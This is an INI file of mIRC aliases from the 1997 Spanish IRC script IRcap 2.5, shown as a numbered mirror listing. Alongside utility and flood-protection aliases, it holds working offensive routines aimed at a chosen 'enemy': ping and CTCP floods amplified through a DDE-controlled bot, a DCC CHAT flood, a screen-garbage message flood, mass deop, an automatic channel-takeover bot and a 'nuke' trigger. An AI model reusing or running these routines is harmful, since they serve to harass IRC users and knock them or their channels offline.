home *** CD-ROM | disk | FTP | other *** search
/ CD Actual 16 / PC Actual CD 16.iso / cdactual / scripts / ircap25 / IRCAP25B.ZIP / IRcap / alias.ini < prev    next >
Encoding:
INI File  |  1997-09-02  |  18.8 KB  |  401 lines
  1. [aliases]
  2. n0=/op /mode # +ooo $$1 $2 $3
  3. n1=/dop /mode # -ooo $$1 $2 $3
  4. n2=/j /join #$$1
  5. n3=/p /part #
  6. n4=/n /names #$$1
  7. n5=/w /whois $$1 $$1
  8. n6=/ww /whowas $$1
  9. n7=/k /kick # $$1
  10. n8=/q /query $$1
  11. n9=/ping /ctcp $$1 ping
  12. n10=/nic /nick $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z)
  13. n11=;
  14. n12=;TECLAS DE FUNCION
  15. n13=;
  16. n14=/gblanco /echo 12 -s Blanco fijado en:4 %ene | set %freco 1 | whois %ene
  17. n15=/F9 /set %ene $$?="Nick del enemigo" | /gblanco
  18. n16=/F10 /.flood 100 5 5 15 | .enable #textoflood | set %pflood 1 | lsombra 0 1 Protecci≤n contra flood activada | echo -s %texto | raya | bip
  19. n17=/F12 /ignore *!*@* | timer1 0 15 /echo 12 -s Ignorando a todo el mundo. Anular pulsando F11.
  20. n18=/F11 /ignore -r *!*@* | timer1 off | /echo 12 -s Se anul≤ la protecci≤n total por ignore.
  21. n19=/cF12 /run %firu
  22. n20=;
  23. n21=/F5 {
  24. n22=  echo -s - | echo 4 -s Iniciando Flood de Pings contra6 %ene
  25. n23=  echo 12 -s Mandando %atping Pings cada 1 segundo.
  26. n24=  echo 12 -s Se ignoraran las rΘplicas durante 60 segundos para autoprotecci≤n. 
  27. n25=  ignore -tinu60 *!*@* | dde bot command "" /ignore -tinu60 *!*@*
  28. n26=  .timer77 %atping 1 /.ctcp %ene ping
  29. n27=  dde bot command "" /timer77 %atping 1 /dde bot command "" /ctcp %ene ping
  30. n28=  .timer76 1 %atping /echo 12 -s  Ataque a %ene finalizado.
  31. n29=}
  32. n30=;
  33. n31=/F6 {
  34. n32=  /echo -s - | /echo 4 -s Iniciando Flood de CTCPs contra6 %ene
  35. n33=  /echo 12 -s Mandando %atctr tandas cada %atct segundos.
  36. n34=  /echo 12 -s Se ignoraran las rΘplicas durante 60 segundos para autoprotecci≤n.
  37. n35=  /ignore -tinu60 *!*@* | /dde bot command "" /ignore -tinu60 *!*@*
  38. n36=  /.timer77 %atctr %atct /.ctcp %ene clientinfo
  39. n37=  /.timer78 %atctr %atct /.ctcp %ene finger
  40. n38=  /.timer79 %atctr %atct /.ctcp %ene ping
  41. n39=  /dde bot command "" /timer77 %atctr %atct /dde bot command "" /ctcp %ene clientinfo
  42. n40=  /dde bot command "" /timer78 %atctr %atct /dde bot command "" /notice %ene îî^îî^îî^îî^îî^îî^îî^îî^îî^îî^îî^îî^îî^îî^îî^îî^îî^îî^îî^îî
  43. n41=  /dde bot command "" /timer79 %atctr %atct /dde bot command "" /ctcp %ene ping
  44. n42=  /set %dur %atctr * %atct
  45. n43=  /.timer76 1 %dur /echo 12 -s  Ataque a %ene finalizado.
  46. n44=  /unset %dur
  47. n45=}
  48. n46=/F7 /.timer77 off | /.timer78 off | /.timer79 off | /.timer76 off | /dde bot command "" /.timer77 off | /dde bot command "" /.timer78 off | /dde bot command ""  /.timer79 off | /echo 12 -s  Ataque detenido | raya | bip
  49. n47=/dcflood {
  50. n48=  /raw -q PRIVMSG %ene :DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $r(1000,9999) $(10,99) $r(10,99)DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ 
  51. n49=  /dde bot command "" /raw -q PRIVMSG %ene :DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $r(1000,9999) $(10,99) $r(10,99)DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ 
  52. n50=}
  53. n51=
  54. n52=;
  55. n53=lagpant {
  56. n54=  set %texto °µÑº╞úx*&º@# 
  57. n55=  raw -q privmsg $$1 :  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto  $+ $rand(0,15) $+ , $+ $rand(0,15) $+ %texto
  58. n56=  lsombra 15 1 Mandando lag de pantalla a8 $$1 | echo %texto
  59. n57=}
  60. n58=;
  61. n59=;GRUPOS REMOTE
  62. n60=;
  63. n61=/gnormal /.enable #finger #autoop #deops #noentra | /.disable #spy #ping #topics #noquery #nochat #ataconj #tomacanal #holayadios | /echo 12 Modo Normal | /set %nmodo normal | bip
  64. n62=/gagresivo /.enable #ping #finger #nochat #ataconj #deops #topics #noentra #noquery #tomacanal | /.disable #spy #autoop #holayadios | /echo 12 Modo Agresivo | /set %nmodo agresivo | bip
  65. n63=;
  66. n64=/dclon {
  67. n65=  /set %nclon %mclon | /inc %nclon 1
  68. n66=  /if $ial($address($$1,2),0) > 1 { tclones $$1 | echo $chan 4Detectado clon:12 ( %tclon ) 5 $address($$1,2) }
  69. n67=  /if $ial($address($$1,2),0) > %nclon { 
  70. n68=    if ($me isop $chan) { tclones $$1 | msg $chan 4Detectado clon:12 ( %tclon ) 5 $address($$1,2) | /ban $chan $$1 2 | /kick $chan $$1 4demasiados clones aqui...  }
  71. n69=  }
  72. n70=  /unset %nclon
  73. n71=}
  74. n72=;
  75. n73=/titu {
  76. n74=  set %temp   | /if ( %mlag == 1 ) set %temp . . Lag: %lag secs
  77. n75=  if ( %tomacanal != 0 ) set %temp %temp . . T.O.: %tomacanal
  78. n76=  
  79. n77=  if ( $group(#fservo) == on )  set %temp %temp . . Fserver
  80. n78=  
  81. n79=  if ( %autoaw != 0 ) && ( $idle > %autoaw ) && ( $away == $false ) { away Auto idle away %autoaw seg. | echo 12 -s Auto Away, mßs de %autoaw seg. idle | bip }
  82. n80=  if ( %autoaw != 0 ) && ( $idle < 20 ) && ( $away ) { away | echo 12 -s Away desactivado | bip }
  83. n81=  if ( $away == $true ) set %temp %temp . . AWAY
  84. n82=  
  85. n83=  titlebar & IRcap  . . Blanco: %ene . . Seguir: %sigue  . . Idle: $idle %temp
  86. n84=  unset %temp
  87. n85=}
  88. n86=;
  89. n87=/raya /echo -s -
  90. n88=;
  91. n89=/whentra {
  92. n90=  if ( %whentr == 1 ) { whois $$1 | beep 2 100 }
  93. n91=}
  94. n92=;
  95. n93=/rebusca {
  96. n94=  if ($$1 == %dvp ) halt
  97. n95=  if ( $$1 == %ene )  { 
  98. n96=    /.timer77 off | /.timer78 off | /.timer79 off | /.timer76 off | /dde bot command "" /.timer77 off | /dde bot command "" /.timer78 off | /dde bot command ""  /.timer79 off 
  99. n97=    echo 12 -s  $$1 1 no estß en el IRC. Deteniendo Flood.
  100. n98=    if ( %sigue == %ene ) { echo 1 -s  Deteniendo seguimiento nick. | .timer9 off | raya }
  101. n99=    halt
  102. n100=  }
  103. n101=  if ( $$1 == %sigue ) {
  104. n102=    echo 12 -s  $$1 1no estß en el irc. Rastreando en busca de nuevo nick.
  105. n103=    .timer9 off | .enable #relocaf | who %siguef
  106. n104=    halt
  107. n105=  }
  108. n106=  echo 12 -s  $$1 1 no estß en el IRC. Se intentarß un Whowas. | set %nwho 1 | whowas $$1 1
  109. n107=}
  110. n108=;
  111. n109=/Mdeop { 
  112. n110=  /set %i  0 | /set %usu  "" 
  113. n111=  :L1
  114. n112=  /inc %i | /if ($opnick( %i , $chan ) == $null) { /if ($len(%usu) > 0) .raw mode $chan -oooo %usu | /unset %usu | /unset %i | /halt }
  115. n113=  /if ($opnick( %i , $chan ) != $me ) { %usu = %usu $opnick( %i , $chan ) }
  116. n114=  /if (4 // %i) { .raw mode $chan -oooo %usu | %usu = "" } 
  117. n115=  /goto L1
  118. n116=}
  119. n117=;
  120. n118=IPKICK {
  121. n119=  set %i  0 
  122. n120=  :L1
  123. n121=  inc %i | if ($nick( %i , $$2 ) == $null) { unset %i | halt }
  124. n122=  if ($nick( %i , $$2 ) == $me ) goto L1
  125. n123=  if ( $$1 == TODOS ) { kick $$2 $nick( %i , $$2 ) 4 $+ *3 | goto L1 }
  126. n124=  if ($address($nick(%i,$$2),2) == $$1 ) { kick $$2 $nick( %i , $$2 ) 4 $+ *3 }
  127. n125=  goto L1
  128. n126=}
  129. n127=;
  130. n128=/Clones {
  131. n129=  /if (%dpr != 0 ) goto pcanal
  132. n130=  /lsombra 8 5 $chan - Busqueda de clones | echo -s %texto
  133. n131=  /set %co 1
  134. n132=  /set %nclo 0 | /set %nclox 0
  135. n133=  :L1
  136. n134=  /set %usu $nick( %co , $chan )
  137. n135=  /if ( %usu == $null ) { /echo  -s 12 Total :1 %nclo de %nclox usuarios. | /unset %co | /unset %nclo | /unset %nclox | raya | /halt }
  138. n136=  /if $ial($address( %usu ,2),0) == 1 goto noclo 
  139. n137=  /if $ial($address( %usu ,2),1).nick  == %usu  { /tclones %usu | /echo -s  2 ( %tclon  ) 12 $address( %usu ,2) | /inc %nclo $ial($address( %usu ,2),0) | /dec %nclo | inc %nclox }
  140. n138=  :noclo
  141. n139=  /inc %co 1
  142. n140=  /goto L1
  143. n141=  ;
  144. n142=  :pcanal
  145. n143=  /lsombra 8 5 $chan - Busqueda de clones | msg $chan %texto
  146. n144=  /set %co 1
  147. n145=  /set %nclo 0 | /set %nclox 0
  148. n146=  :L2
  149. n147=  /set %usu $nick( %co , $chan )
  150. n148=  /if ( %usu == $null ) { /msg $chan 12 Total :1 %nclo  de %nclox usuarios. | /unset %co | /unset %nclo | /unset %nclox | /halt }
  151. n149=  /if $ial($address( %usu ,2),0) == 1 goto noclo2
  152. n150=  /if $ial($address( %usu ,2),1).nick  == %usu  { /tclones %usu | /msg $chan 2 ( %tclon ) 12 $address( %usu ,2) | /inc %nclo $ial($address( %usu ,2),0) | /dec %nclo | /inc %nclox }
  153. n151=  /if (%dpr != 2 ) goto noclo2
  154. n152=  /if ( %usu == $me ) goto noclo2
  155. n153=  if ( %usu != $ial($address( %usu ,2),1).nick ) { ban # %usu 2 | kick # %usu 4fuera clones !!! }
  156. n154=  :noclo2
  157. n155=  /inc %co 1
  158. n156=  /goto L2
  159. n157=}
  160. n158=;
  161. n159=/tclones {
  162. n160=  set %cont  2
  163. n161=  set %tclon $ial($address( $$1 ,2),1).nick
  164. n162=  :L1
  165. n163=  set %tclon %tclon , $ial($address( $$1 ,2),%cont).nick
  166. n164=  inc %cont 1
  167. n165=  if ( %cont <= $ial($address( $$1 ,2),0) ) goto L1
  168. n166=  unset %cont
  169. n167=}
  170. n168=;
  171. n169=/mlag /.enable #midelag | /set %mlag 1 | /.timer91 off | /.timer91 0 60 /mmlag
  172. n170=/nlag /.disable #midelag | /set %mlag 0 | /.timer91 off
  173. n171=/mmlag /set %ilag $ctime | /stats j | /set %lag ?
  174. n172=;
  175. n173=/rcanal {
  176. n174=  /if ( $$1 == %ultcana1 ) halt
  177. n175=  /if ( $$1 == %ultcana2 ) { set %ultcana2 %ultcana1 | set %ultcana1 $$1 | halt }
  178. n176=  /if ( $$1 == %ultcana3 ) { set %ultcana3 %ultcana1 | set %ultcana1 $$1 | halt }
  179. n177=  /if ( $$1 == %ultcana4 ) { set %ultcana4 %ultcana1 | set %ultcana1 $$1 | halt }
  180. n178=  /if ( $$1 == %ultcana5 ) { set %ultcana5 %ultcana1 | set %ultcana1 $$1 | halt }
  181. n179=  /if ( $$1 == %ultcana6 ) { set %ultcana6 %ultcana1 | set %ultcana1 $$1 | halt }
  182. n180=  /if ( $$1 == %ultcana7 ) { set %ultcana7 %ultcana1 | set %ultcana1 $$1 | halt }
  183. n181=  /if ( $$1 == %ultcana8 ) { set %ultcana8 %ultcana1 | set %ultcana1 $$1 | halt }
  184. n182=  /set %ultcana8 %ultcana7
  185. n183=  /set %ultcana7 %ultcana6
  186. n184=  /set %ultcana6 %ultcana5
  187. n185=  /set %ultcana5 %ultcana4
  188. n186=  /set %ultcana4 %ultcana3
  189. n187=  /set %ultcana3 %ultcana2
  190. n188=  /set %ultcana2 %ultcana1
  191. n189=  /set %ultcana1 $$1
  192. n190=}
  193. n191=;
  194. n192=/guiacolor echo 12 -s  Guφa de colores | echo -s 1,0 0 0,1 1 0,2 2 0,3 3 0,4 4 0,5 5 0,6 6 0,7 7 1,8 8 1,9 9 0,10 10 1,11 11 0,12 12 0,13 13 0,14 14 1,15 15  | raya
  195. n193=;
  196. n194=/sccanal {
  197. n195=  set %clon 0 | set %ircop 0 | set %op 0 | set %noop 0 | set %total 0 | set %todos $null
  198. n196=  unset %lcon | unset %lcop
  199. n197=  set %canal $$1 |  .enable #scancanal | who $$1
  200. n198=}
  201. n199=;
  202. n200=/meflod {
  203. n201=  if ( %pflood == 0 ) goto L1
  204. n202=  if ( $nick == $me ) goto L1
  205. n203=  .timer44 1 10 unset %cflod
  206. n204=  if ( $count(%cflod ,$site) >= 3 ) {
  207. n205=    ignore -pntiku60 $nick 2
  208. n206=    .ignore -ntiku15 *!*@*
  209. n207=    set %cflod $remove(%cflod,$site)
  210. n208=    lsombra 0 4 Flood detectado | echo -s %texto por 6 $nick 12(  $address  )
  211. n209=    echo 1 -s Lista de nicks visibles de $site | who $site
  212. n210=    .timer 1 10 /dns $nick
  213. n211=    if ( %tfk == patea ) { 
  214. n212=      if ( $nick ison $chan(1) ) && ( $me isop $chan(1) ) { mode $chan(1) -o $nick | .timer83 1 1 ban $chan(1) $nick 2 | .timer80 1 2 /IPKICK $address($nick,2) $chan(1) Para YA el flood }
  215. n213=      if ( $nick ison $chan(2) ) && ( $me isop $chan(2) ) { mode $chan(2) -o $nick | .timer84 1 1 ban $chan(2) $nick 2 | .timer81 1 2 /IPKICK $address($nick,2) $chan(2) Para YA el flood }
  216. n214=      if ( $nick ison $chan(3) ) && ( $me isop $chan(3) ) { mode $chan(3) -o $nick | .timer85 1 1 ban $chan(3) $nick 2 | .timer82 1 2 /IPKICK $address($nick,2) $chan(3) Para YA el flood }
  217. n215=    }
  218. n216=    alarma
  219. n217=    goto L1
  220. n218=  }
  221. n219=  set %cflod %cflod $+ $site
  222. n220=  ;  echo 4CTCP12 %cflod
  223. n221=  
  224. n222=  :L1
  225. n223=}
  226. n224=;
  227. n225=/bip /slocal bip.wav
  228. n226=/alarma /slocal flood.wav
  229. n227=;
  230. n228=/slocal /if (%sloc == 1) splay $$1
  231. n229=;
  232. n230=/Pmodo {
  233. n231=  set %m %xmodi $+ %xmodw
  234. n232=  if %dsplit == 1 set %m %m $+ +s
  235. n233=  if %dsplit == 0 set %m %m $+ %xmods
  236. n234=  mode $me %m | unset %m
  237. n235=}
  238. n236=;
  239. n237=/DETsplit {
  240. n238=  if ( %dsplit == 1 ) { mode $me +s | .enable #splits | echo 12 -s Detecci≤n de splits activada }
  241. n239=  if ( %dsplit == 0 ) { mode $me %xmods | .disable #splits | echo 12 -s Detecci≤n de splits desactivada }
  242. n240=}
  243. n241=;
  244. n242=/MASPLIT {
  245. n243=  if ( %ssplit1 == %nada ) { set %ssplit1 $$1 | halt }
  246. n244=  if ( %ssplit2 == %nada ) { set %ssplit2 $$1 | halt }
  247. n245=  if ( %ssplit3 == %nada ) { set %ssplit3 $$1 | halt }
  248. n246=  unset %nada
  249. n247=}
  250. n248=/MENOSPLIT {
  251. n249=  if ( %ssplit1 == $$1 ) set %ssplit1 - - -
  252. n250=  if ( %ssplit2 == $$1 ) set %ssplit2 - - -
  253. n251=  if ( %ssplit3 == $$1 ) set %ssplit3 - - -
  254. n252=}
  255. n253=;
  256. n254=/AUTOTAKE {
  257. n255=  dde bot COMMAND "" /exit 
  258. n256=  run c:\IRcap\mirc32.exe bot.ini -s $+ $$1 -j $+ %tomacanal
  259. n257=  echo 12 -s Bot lanzado para intentar tomar el canal %tomacanal
  260. n258=  .timer 1 30 set %tomacanal 0 
  261. n259=  .timer 1 30 echo 12 -s  Desactivado toma de canal automßtica
  262. n260=}
  263. n261=;
  264. n262=/nuke { .enable #nuke | whois $$1 | lsombra 0 1 Nukeando a8 $$1 | echo  -s %texto }
  265. n263=/snuke .timer 1 1  slocal nuke.wav
  266. n264=;
  267. n265=/F3 {
  268. n266=  write -c irsetup.dat WHOIX $group(#whoix)
  269. n267=  write irsetup.dat  %mlag
  270. n268=  write irsetup.dat SALUDO $group(#saluda)
  271. n269=  write irsetup.dat  %whentr
  272. n270=  write irsetup.dat  %tsigue
  273. n271=  
  274. n272=  write irsetup.dat PING $group(#ping)
  275. n273=  write irsetup.dat FINGER $group(#finger)
  276. n274=  write irsetup.dat NOCHAT $group(#nochat)
  277. n275=  
  278. n276=  write irsetup.dat %sloc
  279. n277=  
  280. n278=  write irsetup.dat ATACONJ $group(#ataconj)
  281. n279=  write irsetup.dat AUTOPATA $group(#noentra)
  282. n280=  write irsetup.dat TAKEOVER $group(#tomacanal)
  283. n281=  write irsetup.dat NOTOPIC $group(#topics)
  284. n282=  write irsetup.dat DEOP $group(#deops)
  285. n283=  write irsetup.dat AUTOOP $group(#autoop)
  286. n284=  write irsetup.dat %tfk
  287. n285=  write irsetup.dat %dsplit
  288. n286=  
  289. n287=  write irsetup.dat %atping
  290. n288=  write irsetup.dat %atctr
  291. n289=  write irsetup.dat %atct
  292. n290=  write irsetup.dat %atdcr
  293. n291=  write irsetup.dat %atdct
  294. n292=  write irsetup.dat %mclon
  295. n293=  write irsetup.dat %nukei
  296. n294=  write irsetup.dat %nukef
  297. n295=  write irsetup.dat %ginsui
  298. n296=  write irsetup.dat %ginsuf
  299. n297=  write irsetup.dat %fsid
  300. n298=  write irsetup.dat %fsn
  301. n299=  
  302. n300=  run c:\ircap\irsetup.exe
  303. n301=  .timer111 0 1 leeconf
  304. n302=}
  305. n303=;
  306. n304=/leeconf {
  307. n305=  if ( $exists(irsetup.dat) != $true ) halt
  308. n306=  set %jee $read -s/echo c:\ircap\irsetup.dat
  309. n307=  if ( %jee != $null ) { .timer111 off | play -c $me irsetup.dat 0 }
  310. n308=  unset %jee | bip
  311. n309=}
  312. n310=;
  313. n311=/iniseg {
  314. n312=  echo --------------------------
  315. n313=  if ( $group(#ataconj) == $null ) { echo 4 -s No se carg≤ CTCP. Rectificando. Posiblemente el fichero estΘ da±ado y se necesite reinstalar el IRcap. | /.load -rs ctcps.ini }
  316. n314=  if ( $group(#colision) == $null ) { echo 4 -s No se carg≤ EVENTS. Rectificando. Posiblemente el fichero estΘ da±ado y se necesite reinstalar el IRcap. | /.load -rs events.ini }
  317. n315=  if ( $group(#midelag) == $null ) { echo 4 -s No se carg≤ RAW. Rectificando. Posiblemente el fichero estΘ da±ado y se necesite reinstalar el IRcap. | /.load -rs raw.ini }
  318. n316=  if ($len(%bardoserver) < 1 ) set %bardoserver Server:
  319. n317=  if ($len(%bardoclones) < 1 ) set %bardoclones Clones:
  320. n318=  if ($len(%bardosleep) < 1 ) set %bardosleep Sleep:
  321. n319=  identd on IRcap_25
  322. n320=  set %xmodi -i
  323. n321=  if ($len(%fir1) < 1 ) set %fir1 - - -
  324. n322=  if ($len(%fir2) < 1 ) set %fir2 - - -
  325. n323=  if ($len(%fir3) < 1 ) set %fir3 - - -
  326. n324=  if ($len(%fir4) < 1 ) set %fir4 - - -
  327. n325=  if ($len(%scy) < 1 ) set %scy Scytale
  328. n326=  
  329. n327=}
  330. n328=;
  331. n329=/avisomirc5 {
  332. n330=  if ($mircdir != c:\ircap\ ) { echo - | echo 4ATENCION: 1IRcap no estß instalado en C:\IRcap\ .4NO 1funcionarß correctamente. | echo 1 Instßlalo de nuevo en ese directorio. ( Actualmente instalado en $mircdir ). }
  333. n331=  if ($group(0) != 35) { echo - | echo 4ATENCION: 1n·mero de grupos del script incorrecto. Algunos de los ficheros .ini podrφan estar da±ados y el script no funcionarß correctamente. Posiblemente sea debido a una salida irregular del mIRc. Se aconseja reinstalar el script. }
  334. n332=  if ($ignore(0) > 0 ) { lsombra 0 5 Hay $ignore(0) entradas en la lista de ignorados.. | echo -s %texto | raya }
  335. n333=  if (%opame == notake ) { set %opame $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) | echo 4 -s Contrase±a OP incializada a %opame | raya }
  336. n334=}
  337. n335=;
  338. n336=/F8 /whois %uw | /q %uw
  339. n337=;
  340. n338=/registro /set %wreg $$1 | whois $$1
  341. n339=;
  342. n340=/ascii {
  343. n341=  set %ac 33
  344. n342=  :L1
  345. n343=  echo -s %ac $chr(%ac)
  346. n344=  ;  say %ac $chr(%ac)
  347. n345=  inc %ac 1
  348. n346=  if ( %ac < 256 ) goto L1
  349. n347=}
  350. n348=;
  351. n349=/sacapais {
  352. n350=  if ( %spais != 1 ) goto L1
  353. n351=  set %pais $gettok($$1,$gettok($$1,0,46),46) 
  354. n352=  pais %pais | unset %pais
  355. n353=  :L1
  356. n354=}
  357. n355=/pais {
  358. n356=  set %pai $readini  c:\ircap\paises.txt paises $$1 | if (%pai != $null ) echo  %wdonde 12 Paφs:1 %pai
  359. n357=  unset %pai | unset %nosaca
  360. n358=}
  361. n359=;
  362. n360=lisklines {
  363. n361=  window -c @K-lines | window -l @K-lines 0 0 500 200 @KLmenu 
  364. n362=  .enable #lklines | stats k
  365. n363=}
  366. n364=;
  367. n365=kprov {
  368. n366=  set %ntok $gettok(%host,0,46) | dec %ntok 1 | set %prov $gettok(%host,%ntok,46)
  369. n367=  inc %ntok 1 | set %prov * $+ %prov $+ . $+ $gettok(%host,%ntok,46)
  370. n368=  kline %prov  $+ $$1 4 *2 1
  371. n369=  echo 4  $$1 baneado. NO podrßn entrar otros usuarios que usen el mismo proveerdor (1 %prov 4).
  372. n370=  unset %prov | unset %ntok | unset %host
  373. n371=}
  374. n372=;
  375. n373=VEOMOD {
  376. n374=  lsombra 0 6 El modo actual es | echo -s %texto  $usermode
  377. n375=  if (i isin $usermode) { echo -s 12 -  invisible 1+i }
  378. n376=  if (w isin $usermode) { echo -s 12 - recibes Wallops 1+w }
  379. n377=  if (s isin $usermode) { 
  380. n378=    if (%dsplit == 1) && (%xmods != +s) { echo -s 12 -  noticias del server 1( solo detecci≤n de splits ) 1+s }
  381. n379=    if (%dsplit == 1) && (%xmods == +s) { echo -s 12 -  noticias del server y detecci≤n de splits 1+s }
  382. n380=    if (%dsplit == 0) && (%xmods == +s) { echo -s 12 -  noticias del server 1( sin detecci≤n de splits ) 1+s }
  383. n381=  }    
  384. n382=  if (o isin $usermode) { echo -s 12 - IRcop 1+o }
  385. n383=  if (a isin $usermode) { echo -s 12 - Administrador del IRC 1+a }
  386. n384=  
  387. n385=  raya | bip
  388. n386=}
  389. n387=;
  390. n388=Pscanick {
  391. n389=  .enable #SCpuertos | set %cserv $$1 | stats  l %cserv
  392. n390=  echo 12 -s Posibles puertos de6 %nscan | raya
  393. n391=  unset %nscan  
  394. n392=}
  395. n393=;
  396. n394=cF9 {
  397. n395=  if ( $len($cb) < 1 ) { echo 12 -s  Portapapeles vacφo... | raya | bip | halt }
  398. n396=  lsombra 0 2 buscando contenido portapapeles... | echo -s %texto $cb
  399. n397=  who * $+ $cb $+ *
  400. n398=}
  401.